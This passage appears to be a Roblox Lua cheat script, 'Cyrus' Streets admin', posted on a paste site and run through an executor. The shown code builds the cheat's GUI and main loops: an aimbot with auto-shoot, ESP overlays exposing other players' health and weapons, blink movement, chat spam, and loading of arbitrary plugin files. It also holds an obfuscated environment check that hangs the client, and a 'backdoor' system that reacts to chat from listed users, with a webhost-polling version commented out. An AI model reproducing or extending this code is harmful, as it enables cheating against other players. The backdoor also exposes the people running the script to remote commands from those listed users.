  2962. CmdBarImageLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2963. CmdBarImageLabel.Size = UDim2.new(0,199,0,145)
  2964. CmdBarImageLabel.Image = CmdBarImage
  2965.  
  2966. -- Values GUI --
  2967.  
  2968. ValuesFrame.BackgroundColor3 = Color3.fromRGB(255,255,255)
  2969. ValuesFrame.BackgroundTransparency = 1
  2970. ValuesFrame.Position = UDim2.new(0.15,0,1,0)
  2971. ValuesFrame.AnchorPoint = Vector2.new(0,1)
  2972. ValuesFrame.Size = UDim2.new(0,160,0,160)
  2973.  
  2974. ValuesTextLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2975. ValuesTextLabel.BackgroundTransparency = 0.6
  2976. ValuesTextLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2977. ValuesTextLabel.Position = UDim2.new(0,0,0,0)
  2978. ValuesTextLabel.Size = UDim2.new(0,160,0,160)
  2979. ValuesTextLabel.Font = Enum.Font.Code
  2980. ValuesTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2981. ValuesTextLabel.TextSize = 14
  2982. ValuesTextLabel.TextWrapped = true
  2983. ValuesTextLabel.TextYAlignment = Enum.TextYAlignment.Top
  2984.  
  2985. -- Hotkeys GUI --
  2986.  
  2987. HotkeysFrame.BackgroundColor3 = Color3.fromRGB(255,255,255)
  2988. HotkeysFrame.BackgroundTransparency = 1
  2989. HotkeysFrame.Position = UDim2.new(0.8,0,1,0)
  2990. HotkeysFrame.AnchorPoint = Vector2.new(1,1)
  2991. HotkeysFrame.Size = UDim2.new(0,160,0,160)
  2992.  
  2993. HotkeysTextLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2994. HotkeysTextLabel.BackgroundTransparency = 0.6
  2995. HotkeysTextLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2996. HotkeysTextLabel.Position = UDim2.new(0,0,0,0)
  2997. HotkeysTextLabel.Text = "Open Command Bar: '\nGunStomp: E"
  2998. HotkeysTextLabel.Size = UDim2.new(0,160,0,160)
  2999. HotkeysTextLabel.Font = Enum.Font.Code
  3000. HotkeysTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  3001. HotkeysTextLabel.TextSize = 14
  3002. HotkeysTextLabel.TextWrapped = true
  3003. HotkeysTextLabel.TextYAlignment = Enum.TextYAlignment.Top
  3004.  
  3005. -- Damage Indicator --
  3006.  
  3007. DmgIndicator.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3008. DmgIndicator.BackgroundTransparency = 0.7
  3009. DmgIndicator.BorderSizePixel = 3
  3010. DmgIndicator.Position = UDim2.new(0,0,1,0)
  3011. DmgIndicator.Size = UDim2.new(0,385,0,50)
  3012. DmgIndicator.Font = Enum.Font.Code
  3013. DmgIndicator.TextColor3 = Color3.fromRGB(184,0,3)
  3014. DmgIndicator.TextScaled = true
  3015. DmgIndicator.TextSize = 30
  3016. DmgIndicator.TextWrapped = true
  3017. DmgIndicator.Visible = false
  3018.  
  3019. -- Hotkeys GUI --
  3020.  
  3021. KeysFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3022. KeysFrame.BackgroundTransparency = 0.6
  3023. KeysFrame.BorderColor3 = Color3.fromRGB(170,0,0)
  3024. KeysFrame.BorderSizePixel = 0
  3025. KeysFrame.Position = UDim2.new(0.5,0,0.5,0)
  3026. KeysFrame.AnchorPoint = Vector2.new(0.5,0.5)
  3027. KeysFrame.Size = UDim2.new(0,218,0,154)
  3028. KeysFrame.Visible = false
  3029.  
  3030. AnyCmdButton.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3031. AnyCmdButton.BackgroundTransparency = 0.7
  3032. AnyCmdButton.BorderColor3 = Color3.fromRGB(170,0,0)
  3033. AnyCmdButton.Position = UDim2.new(0.17,0,0.43,0)
  3034. AnyCmdButton.Size = UDim2.new(0,49,0,49)
  3035. AnyCmdButton.Font = Enum.Font.SourceSans
  3036. AnyCmdButton.TextColor3 = Color3.fromRGB(255,255,255)
  3037. AnyCmdButton.TextSize = 13
  3038. AnyCmdButton.TextWrapped = true
  3039. AnyCmdButton.Text = "Type a command then click"
  3040.  
  3041. KeysLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3042. KeysLabel.BackgroundTransparency = 0.3
  3043. KeysLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  3044. KeysLabel.Position = UDim2.new(0.004,0,-0.3,0)
  3045. KeysLabel.Size = UDim2.new(0,217,0,50)
  3046. KeysLabel.Font = Enum.Font.SciFi
  3047. KeysLabel.Text = "Keys GUI"
  3048. KeysLabel.TextColor3 = Color3.fromRGB(214,0,0)
  3049. KeysLabel.TextSize = 50
  3050.  
  3051. CmdBarKeyLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3052. CmdBarKeyLabel.BackgroundTransparency = 0.6
  3053. CmdBarKeyLabel.BorderColor3 = Color3.fromRGB(0,0,127)
  3054. CmdBarKeyLabel.Position = UDim2.new(0.6,0,0.07,0)
  3055. CmdBarKeyLabel.Size = UDim2.new(0,50,0,44)
  3056. CmdBarKeyLabel.Font = Enum.Font.Fantasy
  3057. CmdBarKeyLabel.Text = "CmdBar Key"
  3058. CmdBarKeyLabel.TextColor3 = Color3.fromRGB(255,255,255)
  3059. CmdBarKeyLabel.TextSize = 11
  3060. CmdBarKeyLabel.TextWrapped = true
  3061.  
  3062. CmdBarKeyButton.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3063. CmdBarKeyButton.BackgroundTransparency = 0.7
  3064. CmdBarKeyButton.BorderColor3 = Color3.fromRGB(170,0,0)
  3065. CmdBarKeyButton.Position = UDim2.new(0.6,0,0.43,0)
  3066. CmdBarKeyButton.Size = UDim2.new(0,49,0,49)
  3067. CmdBarKeyButton.Font = Enum.Font.SourceSans
  3068. CmdBarKeyButton.Text = "Click then press a key"
  3069. CmdBarKeyButton.TextColor3 = Color3.fromRGB(255,255,255)
  3070. CmdBarKeyButton.TextSize = 13
  3071. CmdBarKeyButton.TextWrapped = true
  3072.  
  3073. AnyCmdTextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3074. AnyCmdTextBox.BackgroundTransparency = 0.6
  3075. AnyCmdTextBox.BorderColor3 = Color3.fromRGB(0,0,127)
  3076. AnyCmdTextBox.Position = UDim2.new(0.17,0,0.07,0)
  3077. AnyCmdTextBox.Size = UDim2.new(0,50,0,44)
  3078. AnyCmdTextBox.Font = Enum.Font.Fantasy
  3079. AnyCmdTextBox.PlaceholderColor3 = Color3.fromRGB(255,255,255)
  3080. AnyCmdTextBox.PlaceholderText = "CmdToSet"
  3081. AnyCmdTextBox.Text = ""
  3082. AnyCmdTextBox.TextColor3 = Color3.fromRGB(255,255,255)
  3083. AnyCmdTextBox.TextSize = 11
  3084. AnyCmdTextBox.TextWrapped = true
  3085. dragGUI(KeysFrame,KeysFrame)
  3086. end))
  3087.  
  3088. --[[ End ]] --
  3089.  
  3090. --[[ Loops ]] --
  3091.  
  3092. coroutine.resume(coroutine.create(function()
  3093. local FileDir,isFolder,makeFolder = syn_io_listdir or list_files,syn_io_isfolder or isfolder,syn_io_makefolder or makefolder
  3094. if FileDir and isFolder and makeFolder then
  3095. if not isFolder'CyAdminPlugins' then
  3096. makeFolder('CyAdminPlugins')
  3097. end
  3098. for _,v in pairs(FileDir'CyAdminPlugins') do
  3099. local WorkingFile = loadfile(v)
  3100. if not WorkingFile then
  3101. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("There was a syntax error (sadly can\'t output it as loadfile is gay)","All")
  3102. else
  3103. local Work,Error = pcall(WorkingFile)
  3104. if not Work then
  3105. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Runtime Error"..Error,"All")
  3106. end
  3107. end
  3108. end
  3109. end
  3110. if not getfenv()['\103\101\116\103\101\110\118']()['\108\111\97\100\101\100'] then while true do end end
  3111. CmdsLabel.Text = "Commands | Total Commands: "..#Commands
  3112. for i = 1,#Commands do
  3113. local Command = Commands[i]
  3114. local Name,Args,Alias,Help = Command.Name,Command.Args,Command.Alias,Command.Help
  3115. createCmd(UDim2.new(0.0008,0,0.002,-35 + (i * 29)),Name,Help)
  3116. coroutine.resume(coroutine.create(function() createCommandBarCmd(Name,Args) end))
  3117. coroutine.resume(coroutine.create(function()
  3118. for i = 1,#Alias do
  3119. createCommandBarCmd("[Alias] "..Alias[i],Args)
  3120. end
  3121. end))
  3122. end
  3123. while wait() do
  3124. local Character = GetChar()
  3125. coroutine.resume(coroutine.create(function()
  3126. if Character and Character:FindFirstChildOfClass'Humanoid'then
  3127. if workspace.Gravity < NormalGravity then
  3128. if game.PlaceId == 455366377 and not Character:FindFirstChild'RealHumanoidRootPart' then
  3129. Character.Humanoid:ChangeState(3)
  3130. Character.Humanoid.PlatformStand = false
  3131. wait(0.2)
  3132. end
  3133. Character.Humanoid:ChangeState(8)
  3134. end
  3135. if game.PlaceId == 455366377 then
  3136. if Character.Humanoid.HipHeight > 0 or AirwalkOn and not Flying then
  3137. Character.Humanoid:ChangeState(3)
  3138. Character.Humanoid.PlatformStand = false
  3139. RunService.RenderStepped:Wait()
  3140. Character.Humanoid:ChangeState(8)
  3141. wait(2)
  3142. end
  3143. end
  3144. end
  3145. local StartPing = tick()
  3146. ReplicatedStorage.DefaultChatSystemChatEvents.MutePlayerRequest:InvokeServer()
  3147. PlayersPing = (tick() - StartPing)
  3148. end))
  3149. local Tool = Character:FindFirstChildOfClass'Tool'
  3150. if AimbotAutoShoot and AimlockTarget and Tool and Tool:FindFirstChild('Clips',true) and AimlockTarget:FindFirstChildOfClass'Humanoid' and AimlockTarget.Humanoid.Health > 0 and not AimlockTarget:FindFirstChildOfClass'ForceField' then
  3151. if not BehindAWall(AimlockTarget) and HasItem(Players:GetPlayerFromCharacter(AimlockTarget),"Bone") ~= "Yes" then
  3152. if AimlockTarget:FindFirstChild'Head' and Character:FindFirstChild'Head' and (AimlockTarget.Head.Position - Character.Head.Position).magnitude <= EstimatedGunRanges[Tool.Name] then
  3153. if game.PlaceId == 455366377 then
  3154. LP.Backpack.Input:FireServer("ml",{
  3155. ['mousehit'] = AimbotToCFrame();
  3156. ['shift'] = UserInput:IsKeyDown(Enum.KeyCode.LeftShift);
  3157. ['velo'] = Character.Head.Velocity.magnitude;
  3158. })
  3159. else
  3160. Tool.Fire:FireServer(AimbotToCFrame())
  3161. end
  3162. end
  3163. end
  3164. end
  3165. if Character:FindFirstChildOfClass'Humanoid' then
  3166. if Tool and Tool:FindFirstChild'Ammo' then
  3167. ValuesTextLabel.Text = "Health: "..math.floor(Character.Humanoid.Health).."\nCurrent WalkSpeed: "..math.floor(Character.Humanoid.WalkSpeed).."\nSprinting Speed: "..SprintSpeed.."\nCrouching Speed: "..CrouchSpeed.."\nBlink Speed: "..BlinkSpeed.."\nJumpPower: "..Character.Humanoid.JumpPower.."\nNoclipping: "..tostring(Noclip).."\nAimlocking: "..tostring(Aimlock).."\nAimlock Target: "..tostring(AimlockTarget).."\n"..Tool.Name.." Ammo&Clips: "..Tool.Ammo.Value.."/"..Tool.Clips.Value
  3168. else
  3169. ValuesTextLabel.Text = "Health: "..math.floor(Character.Humanoid.Health).."\nCurrent WalkSpeed: "..math.floor(Character.Humanoid.WalkSpeed).."\nSprinting Speed: "..SprintSpeed.."\nCrouching Speed: "..CrouchSpeed.."\nBlink Speed: "..BlinkSpeed.."\nJumpPower: "..Character.Humanoid.JumpPower.."\nNoclipping: "..tostring(Noclip).."\nAimlocking: "..tostring(Aimlock).."\nAimlock Target: "..tostring(AimlockTarget)
  3170. end
  3171. end
  3172. if AimlockTarget and AimlockTarget:FindFirstChild'Torso' then
  3173. if AimlockTargetPosition then
  3174. local Magnitude = (AimlockTargetPosition - AimlockTarget.Torso.Position).magnitude / AimbotVelocity
  3175. if Magnitude > 1 then
  3176. NewPredictionVelocity = Magnitude
  3177. else
  3178. NewPredictionVelocity = 5
  3179. end
  3180. AimlockTargetPosition = AimlockTarget.Torso.Position
  3181. else
  3182. AimlockTargetPosition = AimlockTarget.Torso.Position
  3183. end
  3184. end
  3185. if GravGunBodyPosition then
  3186. GravGunBodyPosition.Position = GravGunTool.Handle.Position + CFrame.new(GravGunTool.Handle.Position,Mouse.Hit.p).lookVector * GravGunDistance
  3187. end
  3188. if RainbowFrame.Visible then
  3189. RainbowLabel.TextColor3 = Color3.fromRGB(math.random(1,255),math.random(1,255),math.random(1,255))
  3190. end
  3191. if LP.Character then
  3192. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  3193. if PartFound and Blinking and KeyTable['Shift'] then
  3194. if KeyTable['W'] then
  3195. PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,-BlinkSpeed)
  3196. end
  3197. if KeyTable['A'] then
  3198. PartFound.CFrame = PartFound.CFrame * CFrame.new(-BlinkSpeed,0,0)
  3199. end
  3200. if KeyTable['S'] then
  3201. PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,BlinkSpeed)
  3202. end
  3203. if KeyTable['D'] then
  3204. PartFound.CFrame = PartFound.CFrame * CFrame.new(BlinkSpeed,0,0)
  3205. end
  3206. end
  3207. end
  3208. for i = 1,#EspTable do
  3209. local Table = EspTable[i]
  3210. local Player = Table['Player']
  3211. if Player and Player.Character then
  3212. local Head,Torso = Player.Character:FindFirstChild'Head',Player.Character:FindFirstChild'RealHumanoidRootPart' or Player.Character:FindFirstChild'Torso'
  3213. if Head and Torso and Character:FindFirstChild'Head' then
  3214. local Pos,OnScreen = WorldToViewportPoint(Head.Position)
  3215. local SizeForBox = Vector3.new(2,3,0) * ((Head.Size.Y / 2) * 2)
  3216. local TopLeft = WorldToViewportPoint((Torso.CFrame * CFrame.new(SizeForBox.X,SizeForBox.Y,0)).p)
  3217. local TopRight = WorldToViewportPoint((Torso.CFrame * CFrame.new(-SizeForBox.X,SizeForBox.Y,0)).p)
  3218. local BottomLeft = WorldToViewportPoint((Torso.CFrame * CFrame.new(SizeForBox.X,-SizeForBox.Y,0)).p)
  3219. local BottomRight = WorldToViewportPoint((Torso.CFrame * CFrame.new(-SizeForBox.X,-SizeForBox.Y,0)).p)
  3220. ShowOrHideEsp(Table,OnScreen,Player)
  3221. local User = AdminUserTable[Player] and "Yes" or "No"
  3222. Table['Text'].Text = Player.Name.." | Health: "..checkHp(Player.Character).." | KO'ed: "..HasItem(Player,"Bone").." | Pos: "..math.floor((Character.Head.Position - Head.Position).magnitude).."\nHas Glock: "..HasItem(Player,"Glock").." | Shotty: "..HasItem(Player,"Shotty").." | Vest: "..HasItem(Player,"BulletResist").."\nCyAdmin User: "..User
  3223. Table['Text'].Position = Vector2.new(Pos.X,Pos.Y) + Vector2.new(0,10)
  3224. Table['Box'][1].From = Vector2.new(TopLeft.X,TopLeft.Y)
  3225. Table['Box'][1].To = Vector2.new(TopRight.X,TopRight.Y)
  3226. Table['Box'][2].From = Vector2.new(TopRight.X,TopRight.Y)
  3227. Table['Box'][2].To = Vector2.new(BottomRight.X,BottomRight.Y)
  3228. Table['Box'][3].From = Vector2.new(BottomLeft.X,BottomLeft.Y)
  3229. Table['Box'][3].To = Vector2.new(TopLeft.X,TopLeft.Y)
  3230. end
  3231. end
  3232. end
  3233. end
  3234. end))
  3235.  
  3236. coroutine.resume(coroutine.create(function()
  3237. while wait(1) do
  3238. if CmdBarKey == "Quote" then
  3239. HotkeysTextLabel.Text = "Open Command Bar: '".."\nGunStomp: E"
  3240. else
  3241. HotkeysTextLabel.Text = "Open Command Bar: "..CmdBarKey.."\nGunStomp: E"
  3242. end
  3243. for i,v in pairs(Keys) do HotkeysTextLabel.Text = HotkeysTextLabel.Text.."\n"..v:match'^[%w%s]+'..": "..v:match'[%a%d]+$' end
  3244. if ExploiterDetectionOn then
  3245. local PlayerT = Players:GetPlayers()
  3246. for i = 1,#PlayerT do
  3247. local Player = PlayerT[i]
  3248. if Player ~= LP and Player.Character and Player.Character:FindFirstChild'Head' then
  3249. if Player.Character:FindFirstChild'Humanoid' and Player.Character:findFirstChild'Right Arm' then
  3250. if ExploitDetectionPlayerTablePositions[Player.Name] then
  3251. local Pos1 = Player.Character.Head.Velocity
  3252. local Pos2 = ExploitDetectionPlayerTablePositions[Player.Name]
  3253. if not Player.Character.Head:FindFirstChildOfClass'BillboardGui' and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild('Bone',true) and not Player.Character:FindFirstChildOfClass'ForceField' then
  3254. if (Vector3.new(Pos1.X,0,0) - Vector3.new(Pos2.X,0,0)).magnitude >= 85 or (Vector3.new(0,0,Pos1.Z) - Vector3.new(0,0,Pos2.Z)).magnitude >= 85 then
  3255. Esp(Player.Character.Head,"Exploiter: "..Player.Name.." Reason: moved too fast",Color3.fromRGB(255,255,255))
  3256. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3257. else
  3258. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3259. end
  3260. end
  3261. else
  3262. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3263. end
  3264. else
  3265. if not Player.Character.Head:FindFirstChildOfClass'BillboardGui' and Player.Character:FindFirstChildOfClass'Tool' then
  3266. Esp(Player.character.Head,"Exploiter: "..Player.Name.." Reason: Feloop/Anti Feloop",Color3.fromRGB(255,255,255))
  3267. end
  3268. end
  3269. end
  3270. end
  3271. end
  3272. if #WireFrameTable > 0 then
  3273. for i,v in pairs(WireFrameTable) do
  3274. local Pos,OnScreen = workspace.CurrentCamera:WorldToViewportPoint(v[2].Position)
  3275. v[1].Visible = OnScreen
  3276. end
  3277. end
  3278. end
  3279. end))
  3280.  
  3281. coroutine.resume(coroutine.create(function()
  3282. for i,Player in pairs(Players:GetPlayers()) do
  3283. local Backdoor = BackDoorTablePlayers[Player.UserId]
  3284. local Blacklist = BlacklistTable[Player.UserId]
  3285. if (Blacklist or Player:IsInGroup(5152759) or string.find(Player.Name:lower(),"lynx")) and Player.character and Player.Character:FindFirstChild'Head' then
  3286. Esp(Player.Character.Head,Player.Name,Color3.fromRGB(102,51,0),true)
  3287. Player.CharacterAdded:Connect(function(C)
  3288. local Head = C:WaitForChild'Head'
  3289. if Head then
  3290. Esp(Head,Player.Name,Color3.fromRGB(102,51,0),true)
  3291. end
  3292. end)
  3293. end
  3294. if Backdoor and Player.Character and Player.Character:FindFirstChild'Head' then
  3295. Player.Chatted:Connect(function(Chat) BackdoorCheck(Player,Chat) end)
  3296. Esp(Player.Character.Head,Backdoor['Name'],Backdoor['Colour'])
  3297. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  3298. Player.CharacterAdded:Connect(function(C)
  3299. local Head = C:WaitForChild'Head'
  3300. if Head then
  3301. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  3302. Esp(Head,Backdoor['Name'],Backdoor['Colour'])
  3303. end
  3304. end)
  3305. end
  3306. local Chatted;Chatted = Player.Chatted:Connect(function(Chat)
  3307. local User = IsAUser(Player,Chat)
  3308. if User then
  3309. Chatted:Disconnect()
  3310. end
  3311. end)
  3312. end
  3313. coroutine.resume(coroutine.create(function()
  3314. while wait(SpamDelay) do
  3315. if Spamming then
  3316. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(SpamMessage,"All")
  3317. end
  3318. end
  3319. end))
  3320. while wait(Rainbowdelay) do
  3321. if RainbowHats and LP.Backpack:FindFirstChild'Stank' then
  3322. if RainbowHats == "All" then
  3323. local HatTable = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
  3324. LP.Backpack.Stank:FireServer("rep",HatTable[math.random(1,#HatTable)])
  3325. end
  3326. local ColourTable = LP.PlayerGui.HUD.Clan.Group.cs:GetChildren()
  3327. LP.Backpack.Stank:FireServer("color",ColourTable[math.random(1,#ColourTable)])
  3328. end
  3329. end
  3330. end))
  3331.  
  3332. -- [[ End ]] --
  3333.  
  3334. notif("Cyrus' Streets admin","took " .. string.format("%.6f",tick()-Tick) .. " seconds\n(Discord: A4nyecN)",10,"rbxassetid://2474242690")
  3335. notif("Newest Update","dot_mp4 here, cyadmin has been completely fixed for the 11/9/20 upd",10,nil)
  3336.  
  3337. --[[while wait(8) do
  3338. local Data = GetData()
  3339. for i,v in pairs(Data) do
  3340. if PlrFinder(i) == LP or typeof(PlrFinder(i)) == "table" then
  3341. BackdoorCheck("none","`"..v)
  3342. end
  3343. end
  3344. end -- banned on the webhost again lol]]
Advertisement
Add Comment
Please, Sign In to add comment